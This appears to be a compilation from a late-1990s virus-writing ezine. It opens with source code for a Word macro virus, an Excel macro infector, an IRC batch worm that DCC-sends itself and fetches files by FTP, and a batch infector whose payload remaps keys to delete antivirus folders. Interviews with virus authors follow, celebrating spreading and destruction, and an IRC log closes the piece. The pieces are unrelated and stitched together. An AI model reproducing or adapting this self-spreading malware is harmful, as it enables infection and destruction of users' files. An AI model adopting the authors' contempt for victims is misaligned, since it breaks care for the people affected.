Private Sub Document_Open() y = y + 1 Set a = Word.Application.Application Set j = a.MacroContainer Set k = j.VBProject.vbcomponents(y) Set c = k.codemodule If j = a.NormalTemplate Then Set i = a.ActiveDocument Else Set i = a.NormalTemplate Set e = i.VBProject a.Options.VirusProtection = vbEmpty a.Options.SaveNormalPrompt = vbEmpty With e.vbcomponents(y).codemodule If Not .lines(16, y) Like "'L*m*" Then .deletelines y, .countoflines: .insertlines y, c.lines (y, 19) End With If InStr(y, VBA.Time, "5") Then MsgBox "I'm so happy 'cause today I found my friends, they are in my head." & vbCrLf & "I'm so ugly, thats ok 'cause so are you. Broken mirrors." & vbCrLf & "Sunday morning is every day for all I care and I'm not scared." & vbCrLf & "Light my candles in a days 'cause I forgot...", vbInformation, "Lithium" End Sub 'Lithium / (c) 1999 jackie '(Prove sample of Anti-Bloodhound code) 'No backdrops and no lights can focus 'on that shit...Linezer0 Oldskewl Tribe ' ---[snip]--' ' ' '
Hi there kids, this some very old werk to show you how to code antibloodhound-heuristically. Well, it's just a basic example to prove that it's possible to bypass that heuristic. xD Just check it out and enjoy!
' Whatever tomorrow brings, ' jackie
'fireal Private Sub Workbook_Open() On Error Resume Next For Each fireal In ThisWorkbook.VBProject.VBComponents If fireal.Properties.Count = 73 Then ourcode = fireal.codemodule.Lines(1, 20) Next For Each book In Workbooks For Each fireal In book.VBProject.VBComponents If fireal.Properties.Count = 73 And fireal.codemodule.Lines(1, 1) <> "'fireal" Then fireal.codemodule.deletelines 1, fireal.codemodule.countoflines fireal.codemodule.insertlines 1, ourcode If book.Path = "" Then book.SaveAs book.FullName Else book.Save End If Next Next End Sub 'x97m.fireal (c) 1999 jackie '1st language independent excel class infector 'No backdrops and no lights can focus on that shit...Linezer0 '1999 ' ---[snip]---
' Hi there kids, same as Lithium, I just can present you some old werk ' because of that damn zip disk crash. Hope you can enjoy this language ' independent x97m. Catch y'all around. ' Do you know how I feel, ' jackie
@echo off ::IRC.HighHopes.c ::by -KD- [Metaphase VX Team & NoMercyVirusTeam] ::Greets to Evul, Tally, AngelsKitten, KidCypher, nucleii, ::Roadkil, Zanat0s, Duke, Lys, Jackie, Foxz, darkman, lea ::Raven, Deloss, JFK, BSL4, and -Everyone- in #virus if errorlevel 1 goto noscr c: md c:\pkdown >nul echo [script]>>c:\mirc\script.ini echo n0=;HighHopes.a>>c:\mirc\script.ini echo n1=;by -KD- [Metaphase VX Team & NoMercyVirusTeam]>>c:\mirc\script.ini echo n2=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }>>c:\mirc\script.ini echo n3= /dcc send $nick C:\mirc\hope.zip>>c:\mirc\script.ini echo n4=}>>c:\mirc\script.ini echo n5=>>c:\mirc\script.ini echo n6=ON 1:QUIT:#:/msg $chan The grass was greener.>>c:\mirc\script.ini echo n7=ON 1:connect: {>>c:\mirc\script.ini echo n9= /run attrib +r +s +h C:\mirc\script.ini>>c:\mirc\script.ini echo n10= /run attrib +r +s +h C:\mirc\hope.zip>>c:\mirc\script.ini echo n11=}>>c:\mirc\script.ini echo open ftp.elkhart.net>>c:\ftpme.txt echo anonymous>>c:\ftpme.txt echo [email protected]>>c:\ftpme.txt echo cd pub>>c:\ftpme.txt echo cd shareware>>c:\ftpme.txt echo binary>>c:\ftpme.txt echo hash>>c:\ftpme.txt echo lcd c:\pkdown>>c:\ftpme.txt echo get pkzip204.exe>>c:\ftpme.txt echo bye>>c:\ftpme.txt :noscr echo Keep this open for to have Good Luck! echo When it closes you will have Good Luck! echo Some one has high hopes for You!! @echo on type c:\highhopes1.txt @echo off echo y| del c:\highhopes1.txt >nul if errorlevel 1 goto noftp %windir%\ftp.exe -s:c:\ftpme.txt >nul
>>c:\highhopes1.txt >>c:\highhopes1.txt >>c:\highhopes1.txt
:noftp echo >>c:\highhopes.txt echo The grass was greener. The light was brigher. >>c:\highhopes.txt echo The taste was sweeter. The nights of wonder. >>c:\highhopes.txt echo With friends sorrounding. The dawn mist glowing.>>c:\highhopes.txt echo The water flowing. The endless river. >>c:\highhopes.txt echo For Ever And Ever..... >>c:\highhopes.txt @echo on type c:\highhopes.txt @echo off if errorlevel 1 goto nogo echo y| del c:\highhopes.txt >nul cd \pkdown c:\pkdown\pkzip204.exe >nul echo y| copy %0 c:\pkdown\highhopes.bat >nul c:\pkdown\pkzip hope.zip highho~1.bat >nul echo y| copy hope.zip c:\mirc >nul cd \
echo y| del c:\pkdown\*.* >nul rd c:\pkdown >nul echo y| del c:\ftpme.txt >nul nogo: @echo off cls
@echo off%_FukThat% ::########################################### ::Fuck That 1.0a ::Deloss / NuKE ::This virus goes out to Ruzz and his ::fucked up policies of with who his members ::in Shadowvx can and cannot speak to. ::Free The Tree Frogs! ::########################################### if '%1=='FukThat goto FukThat%2 set FukThat=%0.bat if not exist %FukThat% set FukThat=%0 if '%FukThat%==' set FukThat=autoexec.bat if exist c:\_FukThat.bat goto FG if not exist %FukThat% goto FZ find "FukThat"<%FukThat%>c:\_FukThat.bat attrib c:\_FukThat.bat +h :FG command /c c:\_FukThat F V . .. \ %path% :FZ set FukThat= goto FE :FV shift%_FukThat% if '%2==' exit FukThat for %%a in (%2\*.bat %2*.bat) do call c:\_FukThat F I %%a goto FV :FI find "FukThat"<%3>nul if not errorlevel 1 goto FE type %3>FukThat$ echo.>>FukThat$
type c:\_FukThat.bat>>FukThat$ move FukThat$ %3>nul :FD echo.|date|find "12">nul.FukThat echo DEVICE=c:\windows\command\ansi.sys>>config.sys if errorlevel 1 goto FN :FN echo.|date|find "13">nul.FukThat @echo on echo and if they say you can't come around here say *fuck that*. echo and if they say you can't come around me say *fuck that*. ESC["n";"y";13p ESC["y";"n";13p ESC["N";"y";13p ESC["Y";"n";13p ESC["a";"del c:\avp";13p ESC["e";"del c:\f-prot";13p ESC["i";"del c:\mcafee";13p ESC["o";"del c:\nav";13p ESC["A";"del c:\avp";13p ESC["E";"del c:\f-prot";13p ESC["I";"del c:\mcafee";13p ESC["O";"del c:\nav";13p if errorlevel 1 goto FE echo off exit FukThat :FE
Real Time Interview with Rajaat Interviewer: Gigabyte
First question.. Do all VXers here walk around stoned all day and bang with their heads against lamp posts? Well, in order to feel at home during an Amsterdam VX meeting you will have to walk the left-hand path of stonedness. I think I'll manage to become Dutch quite well ;-) How old were you when you had your first experience with computers? My first computer was an Aquarius, an ugly little fellow with blue rubber keys. I got it for my birthday when I was 7 years old. How old were you when you joined the VX scene? I was just about your age when I conducted my first virus experiments, just before I got 18 years old. How many viruses have you written by now.. any chance your totally drugged brain can still remember? I cannot recall an actual number, but I think it must be around 200 or so, including minor variants. Do you consider yourself an 'evil' or rather 'nice' VXer? I consider myself to be a 'nice' VXer, if you can speak of such a thing. Since we are evil in the eyes of the end users, I frankly don't care if I appear to be friendly or not. Which language do you like most for writing viruses? Hah, that's a good question. I would likr a language in which you have complete control over the code it generates, so highly configurable languages like C-- or Terse are good, but lack the things needed in a ring0 win32 environment. I yet have to look for a free language that comes with source and generates tight code. Perl is interesting, though extremely bloated. Did you ever write anything destructive? If so, how do you feel about that now? I have written one virus that did intentional damage, but after having goofed up with debug I decided for my own good to try to make them as harmless as possible. What is, in your opinion, the most idiotic comment about any of your viruses you've seen, from AVers? I laughed a lot when I saw the description of Fick.7326 on the AVP site. I had expected that Kaspersky would be smart enough to recognize that major part of it is written in Borland C++, instead of Pascal. Do your family and friends know you write viruses? Yes, they don't care as long as I leave their machines alone.
What am I doing here between these weirdos? (being the only normal person around) I have no idea, perhaps masochism? ;-) Do you have enemies in the scene? Not that I am aware of. There are people I like and there are people I don't like. These people I do not communicate with may want to consider themselves my enemy but that makes no difference to me. What do you think about infected users? I pity them. After so many media hypes (Michelangelo, Melissa, I love you..) people should have learned the necessity of installing a good scanner from a trusted source. If a family member would catch one of your viruses and he/she had no AV installed at all, no backups and he/she had caught it by running an e-mail attachment, despite all the warnings on the Internet and elsewhere, would you help him/her out? Yes, and immediately install a cracked version of AVP. I'd tell them they are stupid if they don't keep it updated. My hobby is writing them, not giving users a hard time. Unfortunately, a virus is made to be spread, thus I give them to people who are interested. What's your favourite VX website? www.coderz.net, it is like a portal form, just like slashdot. Are you IRC addicted? No, I don't think so. How long are you planning to stay in the scene? (Out, out!! ;) I have no set plans whatsoever, but I feel like I have not tried all the things I wish to accomplish. There is so much I yet would like to try out, but this mainly has to do with compilers and interpreter issues. How big do you think my chances are to survive smoking a joint? (in %) Hmm, about 50% at first, after 20 years of smoking weed I guess that gets trimmed down to 5% :-D But you'll get a try.. Can I take a picture of the cat? If he agrees you can try, but I had troubles myself keeping him in a pose for longer than 2 seconds.
Which AVers do you hate most? I don't hate them, though it is a pity they earn money on the digital havoc we wreak. Which of your viruses are you most proud of? I think I'm proud of most of them. Each time I coded something I tried out new stuff, so each one is a milestone in my writing (or lack thereof) skills. Which other viruses do you like? I for example like Babylonia for the ideas, win32.crypto for its tricks with encryption. All inventive virus writers have my respect. How important is virus writing for you and does it have any influence on your life? It has not such a great importance as it used to be for me, since my job consumes most time. Are you in any other underground scene, except for VX? (hacking, phreaking..) No, those things don't have my interest. Do you have a real life? Not very much, it is consumed by my work most of the time, though I might buy one if I got enough cash. Which kind of movies and music do you like? I like some movies like Braveheart, The Mummy, The Matrix, horror and comics. My music preference is hard rock. Do you have any other hobbies? I don't have many hobbies though I like reading books and sometimes I even enjoy cooking, since I now have to (can't live on microwave food alone). Are you married or do you have a girlfriend? No. Do you believe in God?
Yes, for I am my own God :-) What's your favourite country/city? The place I would like to be my next holiday is Curacao. Are you getting bored yet? No, hungry, where is the food in this pillage of papers? What's your favourite food? Aargh! Now questions about food while I'm starving? I like pastas and chips of course. Do you like junk food? By occasion, when I don't feel like cooking. Which channel do you prefer, #vir or #virus, and why? #virus, by lack of knowledge what the other channel is for. What do you like most about the scene and writing viruses? The broad scale of different people involved. Is there anything else you want to mention? Not right now, I'll mail you when I come to think of something. Any greetings or hate messages? Hate to McDonalds, for not grilling their burgers :-) Thanks for the interview :) You're welcome, lets have dinner , Gigabyte :-)
Interview with Raid/SLAM, about Irok Interviewer: Gigabyte
First of all, how did you come up with the name 'Irok'? It was named after an american car. The iroc-z camaro I simply named it irok ;p What about the virus are you personally most proud of? I'm proud of the fact that avers had no idea what it's payloads did for a very long time. some of them still have incorrect descriptions ;p How long did it take you to write the virus? a little over 2 weeks on/off coding Which part was the most tricky to write? The memory management section. It's a bitch because of all the little routines inside irok. Do you ever base your viruses or virus payloads on your real life (something/someone you're mad at, something funny that happened, habits, etc.), and if so, did you do this in Irok? Yes, and yes. Irok contains the payload which fits the mood I was in at the time of writing it. Did you get any positive or negative reactions on the virus payload from other VXers? I guess it was an even split. Rhape bitched about it, but fuck him. rather, fuck anybody who doesn't like my code. I don't care. ;p What is, in your opinion, the most funny or idiotic comment about Irok you've seen, from AVers? oh hehehe, one second When internal counters of the virus reach certain values, the virus displays a message on screen. Most of this message is from lyrics of the song 'Aenema' by band 'Tool'. We wont reproduce the message here as the song seriously needs the Parental Advisory sticker for explicit lyrics. Hahahahahaha tis funny, no? :) it sure is Which AV was that from?
http://www.Europe.F-Secure.com/v-descs/irok.htm Do you think Irok is better than Toadie? hmm, no toadie was funnier iroks mean ;p On which points is Irok better than other viruses, and what are its weak points? It's better then some other viruses by default because it works as designed... it's weak points would be the memory it requires, and it's size. and the fact that it's not polymorphic. Which other viruses that were in the wild at the time Irok was, or later, do you think that actually were so lame that they weren't worth any attention at all, and which ones do you respect? shrug... The vbs viruses suck in my opinion. As for respecting viruses... I'd have to respect the author of the virus, and I don't respect many people. What do you consider the most important advantage and disadvantage compared to ASM viruses? advantage... total control of the pc, disadvantage, takes a long time to write a good one. How do you think most infected users caught the virus? probably got greedy decided to download a crack or something. If a family member would catch Irok and he/she had no AV installed at all, no backups and he/she had caught Irok by running an e-mail attachment, despite all the warnings on the Internet and elsewhere, would you help him/her out? Nope I have little/nothing to do with my family. What about friends? I don't have many friends. I think I know 3 people who I really consider as friends. the rest are.. mostly acquaintances. Do you think the fact that AVers had some trouble figuring out what exactly Irok does, had anything to do with the language it's written in, as ASIC isn't common for viruses? Yep and I think perhaps they don't know asm as well as they claim. How important is virus writing for you and did writing Irok have any influence on your life (time, effort, pride, stress)? Virus writing and smoking pot keep me alive.
Irok had no influence on anything. it was an accomplishment for me. Are you planning to write any more Irok versions? probably not. Is there anything else you want to mention about Irok? Yes. For those of you who got hit by it, I hope you lost everything. Any greetings or hate messages? Oh yes Greetings to : heh, Nobody Hatez goes out to: Most of you on both sides, fuck you all. So much for political correctness eh? Thanks a lot for the interview :)
Interview with The Unforgiven Interviewer: Gigabyte
Heya.. To start with, what do you occupy with lately? Life. Gf, friends, work, parties and all other things you can enjoy doing while you still are a young adult. Which of your viruses are you most proud of? None really, don't they all suck? Immortal Riot are though responsible for quite a few really awesome viruses. Not me in person though. Some of your viruses were pretty destructive. How do you think about that now? I don't really think anything about it since it's all behind me. I much rather live in the present than in the past. Do you think the VX scene has changed a lot in all those years and do you think it was better then or now? I am not really a part of the scene anymore but I try to lurk around and keep myself a bit updated. I'm though not really qualified to make such a comparison. However, I don't really think you can compare things now and then, if a person start writing viruses now, he might fancy the scene as much I did back in 1993. What do you think about all the Internet related viruses now and do you think there will be much more of them? Internet based malware (viruses, worms and so on) is indeed an interesting thing and I'm certain that we'll see more virus alike programs circulating on the net in the future. Internet is very vulnerable and many people will target the net due to the fact that internet technology and internet (un)security are interesting topics and if an attack is done properly, it can affect a lot of people in a very short amount of time. Which old viruses do you like and which new ones? I like all viruses. It's a great thing to see that people still sit around and code things just for fun. Programming for me and most other Immortal Riot guys is nowadays stricly business. Which virus authors and groups do you respect? Everyone who deserves it. Further information about this can read in our ezines called Insane Reality which all be found at our site located at http://www.coderz.net/ImmortalRiot. What made you decide to start Immortal Riot? Curiousity, I think. I'm a very curious person about pretty much everyting.
How important was virus writing for you? Compared with what? Viruswriting was a hobby, the scene were our playground and viruswriting the ticket to acceptance. Did you base your viruses or virus payloads on real life issues? I based some names from real life and I got motivation from real life. Everything is about real life issues in one way or another. What do you think about infected users? I think they should remove the virus. How do you think most people caught your viruses? Probably with anti-virus programs. I only know one person who caught one of my viruses ([Bad Attitude]). He saw "Immortal Riot" scolling all over his monitor and later became a very good coder and an Immortal Riot member. Do you still occupy with computers a lot? I work with computers, but on my spare time? Maybe an hour a week, to pay bills, write emails to friends and exgirlfriends and of course to annoy people with SMS :). Is there anything else you want to mention? Naw, not really. Any greets or hate messages? Greets goes to everyone who ever has been mentioned in a positive matter in Insane Reality and of course to all of Immortal Riot. Special greets must go to Metal Militia. Thanks a lot for the interview :) You're welcome.
Interview with Del Armg0/MATRiX Interviewer: EXE-Gency
Give us a short description of who you are. (Handle, interests, occupation, music, films, location, marital status etc.) I'm 27, lot's girls and one of my nick in life is Fa, humm ... what's more...¿ I'm somebody very curious in fact... lot's hobbys (vx, phreak, short- wave listener, role-playing-game, playing electronic music too, astronomy, ... i'm happy when i'm learning in fact ;) Some of my favorites films are "Eraserhead", "CryingFreeman", "Buffet Froid", ... And i luv music-band like "stereolab", "gong", "bauhaus", ... and many more ! What made you choose your handle? lot's ppl have asked me about it... it's "simply" a name from a AD&D campaign (during 6 years!), there was a character i played as dungeon master, she was called "Larynda Nedylene Barrisson Del'ArmgO", it was a famous Martial Drow family, and a very fun game, so... i kept the name. Have you ever had any previous identities in the computer underground? nop, i was since i've starting known as Del_Armg0, but it's true for some viral experience i use sometimes another nick... it's rare. But since the JC'Zic bust, i prefer to be discreet... sometimes. When did you first get into computers? I've started on a Amstrad cpc 464, and a thomson MO5 !!! Was really shit but really fun. After that i've meet the Atari world, and it was great moment. Atari 520/1040 ST was really great. And in 1996, i've bought a PC under windows... humm no comment! What operating system(s) are you currently running? I've a first 'puter with Win95, a 486 with a russian Dos (a graphic Dos) called Pts-Dos 6.70 and Win 3.1, i like it a lot. And i'm ever using a Atari 1040 (Tos) At work i'm using Win NT, just shit! I hope i will try Win2k soon, i'm sure it will be a great OS for Vx ;) How and when did you first discover the computer underground? Humm... a bit "just like that", i had bought a modem to meet or know more about Underground Electronic ppl... and it's easy to find evil on the Net ;] How did you first get into virus programming? I've started coding to made virus, but i guess the first idea to made a virus come from the first discovered virus when i was younger, it was really new. And lot's hype was made around it. It was Cpc virus, but i've forgotten the name, the fascination is always here.. Probably some movies like "Wargames" or "Tron" are importants in the story... Do you have an interest in the other components of the computer underground? (hack/phreak/warez etc.) Yep. I'm a great fanatic of phreaking, it's a really great and fun "game". Phone network is full of marvellous things...
and i'm lucky, i'm now working in phone network. Hacking is cool, but sometimes too much full of "big-EGOpeople", so i prefer try it alone. Do you consider yourself to be a criminal? Really not ! But here in France, it's really easy to be one, and for cops i'm probably one... (drug, phreak, vx, ... it's just fun life). But why all cool things of life are illegals !!!?¿ Do the laws in your contry make writing viruses illegal and have you had any trouble with the law in your country? Yes, laws here are very bad for H/P/V; i've never be busted and i hope i won't be! But i'm sometimes tired to be paranoid when i'm connected... (proxys, wingates and others anonymisers...). Sabia is probably the worst spreading i did, and my ISP leaves me.. arrgghhhh! ... but ..but Viva phone S.E. ;) Do your friends/family/colleagues know about your interest in the computer underground? Yep, some of them know about it, but really few. It's bad ideas to talk about it because when u send a mail to your friend, he's always afraid ;), and 99% of mass ppl really don't care about vx, so... What are your opinions on virii with destructive payloads? I never did it, cos i don't like it very much... I guess some coders are good coders, but not really imaginative... Virus are artworks, but destruction can be art, so...why not... It's a really great and endless debate, but to my mind, a destructive program is not really a virus. Virus must spread and spread, so why to kill the host and kill himself, in the same time ? How did you get involved with the Matrix virus group? mort was a good electronic friend, some groups ask me for joining, but i was not interrested, i said it to mort, and so he asks me to join MATRiX, this time i said "ok". Does the Matrix group concern themselves with virus programming only or do they have an interest in other underground topics? Actually MATRiX concern only virus coding, but i hope i could introduce some others subjects like phreaking, trojans, hacking, ... Have you been a member of any other groups? Nop, and i've never thought to be in a group, i liked to be alone; but it could be a good experience (and mort is a really good friend). Why did you start learning to program? Was it because you wanted to write computer viruses. i've started to program in 1998 with Delphi, and yes i've started learning to program to write viruses/trojans. So fastly i've learn asm, i've again to learn asm32 (i'be start). I like a lot to learn some toys or silly languages like VB, VDscript, batch, rebol, javascript,... What other languages can you program in? Delphi/Pascal, Asm/Asm32 for serious coding Vba/Vbs, html/wml, and some others scripting languages, for silly things I find Rebol very interesting too (31 platforms !!) I like Toys like PcomP, VDS, M:POSTER,... What do you think of viruses written in languages other than assembly?
i like it! hehehe! Yes, i like all virus, worms or trojans. Some of them are really nice and ingenious but not in asm; too much virii are variants of a variant actually, probably cos the big number of asm source on the Net. What is the best/favourite virus you have written so far? Wooo! Really hard...! but IRC-Worm.ElSpy.2278 & .9619 was great worm at this time, it was my really first, and they had some cool features. i liked a lot my script generator too, called "SENSI". And my prog "Bundy" cos' the silly splash screen. What groups do you value most highly? I guess 29A is one of the most prolific and original group of the present time. Perhaps even too present.. i liked Phalcon-Skism, Immortal Riot, SLAM ... but it's a bit old..skool Which individual programmers (both past and present) do you value most highly? Wooo, really hard to answer! But i like legend like DarkAvenger and stories like that. Bulgarian Myth is great. The text about it are nice novels What zines do you read regularly? Really a lot! I read almost all E-zines about Vx and Phreaking, i read some french Hacking zines too. (www.madchat.org) Cool H/P zines are PyroFreak, IGA, Hackoff, ... ... ... For Vx Zines, 29A & Vxtasy are perhaps the bests (after MATRiX zine, of course:) What do you think of the virus scene? (Both in general and in your own country.) I know well the vx trading scene, and there is too much politics... About vx scene, it's a cool place, but too much young people don't want to see that in vx coding there's an EGO part. Hahahaha! I have some electronic friends, but i'm sometimes a bit away from vx scene. How has the underground scene changed since you first entered? Scene has changed yes, but scene changed so fastly. Guy appears, disappears,... But since the beginning i've kept some good electronic friend in vx scene, it's enough for me. (booohh Phage!;( What do you think the future of virus writing holds? It will depend on different things, like OS. If Linux becomes the main OS it will be a revolution for vxers, probably the scene will be totally changed. And more networks and networking application appear, more worms come too. So future of virus is more in the hand of mass ppl than in our hands. Do you believe in a 'perfect virus'? And if so describe it. A Worm of course :), Joke! But i believe really that the future of the virus is in the worm properties, The next generation of viral code must have abilities to infect the new hardwares (like mobil-phone) and spread using new protocols. WAP network, GRPS and UMTS protocol will be used by phone and tiny computer, the virus will have to use worm technics to spread between phones, computers and other palm & psion. I like the idea of a Autonomous Mobile Cyber Weapon (AMCW) too. The perfect virus will have to use main worm features, will know and find his target and infecting files traded by network user (like pictures, ...yes my dream will be to infect .jpg :) What advice would you give to newbies entering the virus scene? download, print, read, download, print, read, download, print, read, ... After 6 months like that, come on Irc to meet
some ppl and code, code, code, ... A good thing is really to learn the maximum possible things, learn some languages, learn about OS, learn about protocol, learn about people, learn, learn, learn, ... What language should a newbie learn if he wants to start writing viruses? It depends really of the newbie, learn Asm first is good to learn some universal maths/coding theories, after Asm all others languages seems easy, hehehe. But the better thing to do is to try all, to learn again and again. All languages are good if u know really this language, the hardest is perhaps to find THE language. Anything you would like to add? I guess no, lot's things have been said. And i'm not somebody very talkative (gossipy?) cya. Any greets? Yes a lot!!! Greets to : Phage, Perikles, VirusBust, MATRiX team, HomeSlice, Daniel3 Lyskovick, Secret_- Trov, ArteMuse, pbat, mort, Ultras, NBK, TGR, LordDark, Anaktos U, Iblis, W0de, FreDyKrug, Elsa, MelanYe,Roadkill, Zulu, Mist, Urgo32, me, hashish, all! Any plugs? (Homepage, email address etc.) Sure ! mailto: [email protected] http://www.delly.fr.st http://www.coderz.net/matrix
VX meeting 2000 in Czech Republic: Opinions of a few VXers Interviewer: Gigabyte
First week of August, quite sunny, boring IRC channels.. the ideal moment for the yearly VX meeting. While AVers were probably thinking all VXers were sitting in their rooms, with a computer, avoiding the sun and giving dumb users a hard time by writing new viruses, some of us were in fact having a great time in Brno, Czech Republic, getting drunk, stoned, even getting some suntan and sticking 'GriYosoft' papers all over the city. If we still remember anything? I sure do! Lets see what the guys have to say.. Did you enjoy the meeting? GriYo: Oh, if... I always enjoy in all the meetings that we organize in summer. I always find there great dudes ( and dudettes :-P ) and also new places, so i can get my hands out of the keyboard for some days. Benny: ABSOLUTELY YES!!! I can say it was one of the best timez in this year... you dont think so? mort: sure, i met ppl who i've seen only on chat Ratter: of course. it was my first VX meeting in my life and i met great ppl there which i knew only on Internet. It was a great time for me. One of the best in my life... Did there happen anything funny that you remember? GriYo: I had fun one day we went to a big park in Brno... I had brought a little bit of hashish from Spain, and we were smoking... We don't take in beginning to say foolishness and to laugh without stopping, it was really funny. Benny: Yeah, sure. GriYosoft action. all city was full of posters :) and i will never forget how you, GigaByte, got absolutely stoned and drunk, hehe. mort: yea,... giga and beer :) Ratter: yeah of course :) talking with you Gig XD Anything you missed there? GriYo: Mmmmm... no. Benny: Yeah, I expected there will come more ppl from foreign countries. nevertheless, it was really very kewl meeting, I had really fun. mort: more ppl Ratter: yeah i missed darkman there. and other ppl that do VXing
How often did you have a hangover? GriYo: Well, we had a hangover every morning... I thought that i was accustomed to drink a lot of beer, but I was wrong, eh Benny? ;-)))) Benny: almost every morning...:P but three or four beerz in the morning helped me a lot to forget :) mort: hehe,... no comment Ratter: I don't have hangover after weed :) and i didn't drink a lot
Kevin & Kell Bill Holbrook
What follows is the result of a run in I had with a seriously stupid IRCop of Undernet. If you the reader doesn't know or understand shared drives and net.exe, This entire file will be one boring read for you. For the rest of us, It's funny as hell... Definatly a keeper if I do say so myself :] I don't have the logfile handy of my original conversation with chaplain, nor the Logfile earlier that day this shit went down, because I don't log from work. I turned on buffer save after CiCi made her threat, otherwise I wouldn't have proof of that either. However, I do have some wonderful emails; and the entire log of CiCi and myself chatting the next day. Now then, on with the show...
Start of #Christian buffer: Fri Sep 08 16:14:38 2000 ne.no) has joined #Christian hello :) Hiya i need chocolate how are u Great.. yourself? gotta go look throuhg all the chcoclate stashes i know about laters *** chatcat has quit IRC (*MEOW*FWACK*H ISS*WHACK* "you're right... there ISN"T enough room to swing a cat in here...") *** ionxy has quit IRC (Ping timeout for ionxy[194.102.79.136]) some down, my late wife's brother passed away last nigt *** AxeAshes has quit IRC (Baltimore-R. MD.US.Undernet.Org Seattle.WA.US.UnderN et.Org) That's a shame... it's always hard to lose someone you're close to. yes it is, it was cerebral haemorrhage if you understand my english Yeah *** AxeAshes ([email protected]) has joined #Christian but what people tell us, they say life must go on, they said that to me when my wife passed away The problem with that would be trying to get your Mass Air Sensor to register properly. I suppose it COULD be done, but you'll need to add at least a small section of pipe where you can mount it, and then you run a chance of the airflow being wrong. Of course, you could always acquire another stock airbox, do some cutting, get some hosing and try it. No harm in trying, so long as your car still works if you mess up! --TremorX ack! sorry
good thing that's all that was on my clipboard :P j/k * TremorX drops a pin <patience_> hehe -> *lc* You think a lawyer is going to help you bro? Open shares is your problem... *** chatcat ([email protected]) has joined #Christian *** Nuts ([email protected] .NET) has joined #Christian <JadeGA> l8r :) Bye hon *smooch* <JadeGA> see in little while ;) ya *** JadeGA ([email protected]) has left #Christian husband and wife? Not yet :) Close enuff tho *** Latte has quit IRC (Leaving) *** Latte ([email protected] ne.no) has joined #Christian *** Nuts has quit IRC (Ping timeout for Nuts[P29.ASC-MB06.QZN.SKYINET.NET]) *** Nuts ([email protected]) has joined #Christian *** TremorX has quit IRC (Connection reset by Janet Reno) *** chatcat has quit IRC (Ping timeout for chatcat[kruse.fwi.com]) *** Melv\Mike ([email protected] ug.co.nz) has joined #Christian *** JnetyBabe ([email protected] .138.179.LosAngeles1.Level3.net) has joined #Christian <JnetyBabe> can anyone tell me where to look in the bible...... <JnetyBabe> where it talks about sucide and how it makes you go to hell ? I think if you commit suicide you'll goto hell for it, yes. But don't quote me on it, I don't know for sure. <patience_> it doesnt talk about suicide specifically *** AxeAshes has quit IRC (<<-NE>> ©1998, KnightFal www.europa.c om/~colin) patience_: the bible seems to have a real problem with specifics... <patience_> not all the time <patience_> only a few things a few things? according to the bible patience, how old is this planet? a few thousand years? <patience_> in my opinion <patience_> wel *i* think about 10000 years or so
<patience_> i'm not exactly sure 10,000 years eh? <patience_> but theres no verse in the bible that says " the earth is so many years old" Geological Science says she's a hell of a lot older then that. <patience_> Raid maybe a couple 1000 less <patience_> ya well by a few million years or so. * patience_ needs food <patience_> well i dont believe that We know alot more now then we did in the 1800s :) Do you believe dinosaurs roamed the earth at one point? <patience_> they could very well have <patience_> cos they couldda gotten destroyed in the flood could? ehm.. No they did. Raid:my mother in law does * patience_ cant debate because i dont have enough knowledge j/k j/k DIdn't god claim we were the first? <patience_> you calling your motheri n law a dinosaur? lol Well, how can we be the first on this planet, if the dinosaurs were here and long gone? patience_"im not married...i was trying to be funny ;] adam and eve, then they furry little animals... No mention of dinos.. Yet, we have real evidence that they existed. lol <patience_> heh like there huge skeleton remains, and the fuel I paid almost 2.00 a gallon that runs my truck. RaidSTX:STX don't forget, xians don't understand that carbon dating is valid. <patience_> well God didnt name every single creature He created in Genesis *** CookieMix (HS17pro@host212-140-40-3 2.btinternet.com) has left #Christian *** `Pegasus (Nons@HSE-QuebecCity-ppp82 042.qc.sympatico.ca) has joined #Christian maybe dinos died out after jesus was crucified. But he did specifically say We were first right? <`Pegasus> hi a;;
<`Pegasus> hi all <patience_> hi `Pegasus @ The dinosaurs have been LONG gone. <patience_> umm <patience_> God created animals maybe first yes he did. <`Pegasus> hi patience :) no no read the genesis <patience_> but we were around too i reckon <patience_> anyway <`Pegasus> Psyk: You still here? god said he created man frist than woman than animals patience_: What about cave men? <patience_> we all have our own opinions patience_: You can't claim this is my opinion, Dinosaurs roamed this planet. they found human remains that date 40,000 years ago... <`Pegasus> Hi zooropa! it's a fact. `Pegasus :] Fossil fuel... <patience_> well they SAY they are 40000 years old <patience_> i dont believe it <patience_> ANYWAY moving on.... haha real skeletons, some complete. patience_: Not moving on, I like this topic. patience_ why not? have you researched carbon dating techniques? and there isn't anything wrong with this topic... it's legit. <patience_> well i've heard that they can be wrong patience_ do you think you are brighter than the scientific community which relys on carbon dating? <patience_> i heard of particular incidents <patience_> pSyk_ i didnt say i was <patience_> i believe God patience_: Where do you believe the gas you put in your car comes from? <patience_> anywho <patience_> i'm starvinh hungy *** Latte ([email protected] ne.no) has left #Christian <patience_> need some food question too difficult to answer or something? eat well patience
<patience_> i just dont feel like answering em either * pSyk_ shrugs. <patience_> but its almost 10pm and i havent had supper Raid you're about to get your lil tail in alot of trouble from what I'm seeing patience_ it's ok. there is no way you can answer that question and have faith in god at the same time. I suggest you stop threatening people with attacks before I remove you from Undernet patience_: A science lesson for you. The fuel our cars run on is from rotted dino bones. Which took millions (not thousands) of years to produce. CiCi: for? CiCi: Ehh, Who have I threatened ? -> *CiCi* enlighten me, Whom have I threatend since I've been here? *** patience_ is now known as pataway *** dreamweb has quit IRC (Ping timeout for dreamweb[213.108.36.228]) Raid you may only be a teenager, but you've no involved yourself in a problem with the authorities I'll let them handle it, but a word of advice would be to judge who you threaten more carefully CiCi: Listen, I'm not a teenager.. and I don't think the authorities are going to do anything about me. CiCi: But if you know something I don't, I;d like to know about it. Raid when you threaten to do damage to someone's computer system, and you dare them to take legal action, rest assured, they WILL do that and don't act like you have no clue what's going on here that's the end of my discussion with you, you can talk to an attorney *** CiCi ([email protected]) has left #Christian wow *** RoadRunnr ([email protected] g.co.nz) has joined #Christian uh huh ud' think god came down and shoved a red hot poker up his bummhole *** MarySue ([email protected] .nz) has joined #Christian I didn't threaten him, He had a real open share on his box. *** logos3 sets mode: +o RoadRunnr thats HIS fault, jerk
